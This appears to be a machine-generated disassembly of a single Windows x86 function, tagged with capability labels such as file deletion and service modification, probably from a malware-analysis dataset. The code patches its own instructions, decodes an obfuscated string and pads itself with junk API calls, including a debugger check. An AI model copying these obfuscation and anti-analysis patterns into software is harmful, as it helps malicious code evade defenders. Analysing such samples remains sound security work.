Function at 0xaa7229
Capabilities:
Compare security identifiers
Delete directory
Delete file
Get common file path
Get disk information
Get disk size
Get file system object information
Get session user name
Identify system language via api
Modify service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xaa79af
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa7039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xaa7229
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xaa70bb
call fcn.00484a12
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xaa707d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa7097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xaa7097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa704d
mov byte [ebp - 0x58], 2
mov byte [ebp - 0x57], 0x6f
mov byte [ebp - 0x56], 5
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 4
mov byte [ebp - 0x53], 0x7c
mov byte [ebp - 0x52], 0x27
mov byte [ebp - 0x51], 0xa7
mov byte [ebp - 0x50], 0x4c
mov byte [ebp - 0x4f], 0xc4
mov byte [ebp - 0x4e], 0xd1
mov byte [ebp - 0x4d], 0x36
mov byte [ebp - 0x4c], 0x94
mov byte [ebp - 0x4b], 0x45
mov byte [ebp - 0x4a], 0x85
mov byte [ebp - 0x49], 0xbf
mov byte [ebp - 0x48], 0x4f
mov byte [ebp - 0x47], 0x57
mov byte [ebp - 0x46], 0xc6
mov byte [ebp - 0x45], 0xd1
mov byte [ebp - 0x44], 0xdb
mov byte [ebp - 0x43], 0xad
mov byte [ebp - 0x42], 0x14
mov byte [ebp - 0x41], 0x3d
mov byte [ebp - 0x40], 0xd6
mov byte [ebp - 0x3f], 0x40
mov byte [ebp - 0x3e], 0xd
mov byte [ebp - 0x3d], 0x79
mov byte [ebp - 0x3c], 0xec
mov byte [ebp - 0x3b], 0xdc
mov byte [ebp - 0x3a], 0xe0
mov byte [ebp - 0x39], 0x46
mov byte [ebp - 0x38], 0xed
mov byte [ebp - 0x37], 0xdf
mov byte [ebp - 0x36], 5
mov byte [ebp - 0x35], 0x91
mov byte [ebp - 0x34], 0x23
mov byte [ebp - 0x33], 0x3e
mov byte [ebp - 0x32], 0x2c
mov byte [ebp - 0x31], 0x97
mov byte [ebp - 0x30], 0xe2
mov byte [ebp - 0x2f], 0xc8
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x4d
mov byte [ebp - 0x2c], 0x60
mov byte [ebp - 0x2b], 6
mov byte [ebp - 0x2a], 0x75
mov byte [ebp - 0x29], 1
mov byte [ebp - 0x28], 0x7e
mov byte [ebp - 0x27], 0
mov byte [ebp - 0x26], 0x7d
mov byte [ebp - 0x25], 8
mov byte [ebp - 0x24], 0x7d
mov byte [ebp - 0x23], 3
mov byte [ebp - 0x22], 0x2f
mov byte [ebp - 0x21], 9
mov byte [ebp - 0x20], 0x7a
mov byte [ebp - 0x1f], 7
mov byte [ebp - 0x1e], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xaa71b9
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x3b
jae 0xaa721e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa71e5
mov dword [ebp - 0x60], 0x27
mov eax, dword [ebp - 8]
add eax, 0x25
mov dword [ebp - 8], eax
jmp 0xaa71b1
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xaa720d
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xaa71fa
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xaa71b1
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xa9c65a
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00407c40
mov ecx, eax
call fcn.00403073
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00403017
and dword [ebp - 0x18], 0
jmp 0xaa7267
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xaa7277
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xaa7260
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x37a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x26e4
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0x176d
push 0x2599
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x301
push 0
push 0
push 0x1c44
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0x1a69
push 0x1151
call dword [sym.imp.USER32.dll_SetCaretPos]
call dword [sym.imp.USER32.dll_CreateMenu]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0x1d8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0x2697
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 1
push 0x1109
push 0x214c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0x1078
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x485
push 0x7bb
push 0xcd8
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0x12a8
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x21a6
push 0x18ee
push 1
push 0
push 0x1262
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
push 0x725
push 0x251f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0
push 0
push 0xcbe
push 0
push 0xdfd
push 0
push 0x1f3
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0
push 0x1206
push 0xcf1
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0x301
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0x1b97
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
push 0x2294
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0x20c4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0x12ba
push 0
push 0xaaa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0xc9b
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0x1dae
push 0x1070
push 0xaa2
push 0x1585
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0
push 0x1f62
push 0
push 0x18ce
push 0x12d0
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x23f7
push 0x247a
push 0x1a88
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0x2168
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
push 0x26a5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0
push 0x1cea
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
push 0
push 1
push 0x2297
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
push 0x16ed
push 0
push 0
push 0x1275
push 0xf49
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x1726
push 0
push 0
push 0
push 0
push 0xb3e
push 0x207d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0x17de
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x8be
push 0x1a5
push 0x2299
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 1
push 0x1ecc
push 0xf98
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0x1ea1
push 0xe99
push 0x23ec
push 0x266d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0xec1
push 0xe30
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0x3bd
call dword [sym.imp.USER32.dll_MessageBeep]
push 0
push 0
push 0x1a13
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x966
push 0x18dd
push 0x18b0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1950
push 0x1dac
push 0x1658
push 0x1fe7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0
push 0x10d2
push 0x24dd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0x1546
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x2fe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0x18
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 5
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0x1e3
push 0x1fd0
push 0x1c4
push 0x1032
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0
push 0x1afa
push 0x77f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
push 0x1246
push 0
push 0x1640
push 0xabc
push 0
push 0x1116
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0xaec
push 0
push 0x5d3
push 0x1c5b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0x42c
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0
push 0x39a
push 0x1d2e
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0x9f1
push 0x16d3
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x1acf
push 0x1336
push 0
push 0x1e85
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x1f6a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0x1309
push 0x1d4a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0xaa79b9
mov esp, ebp
pop ebp
ret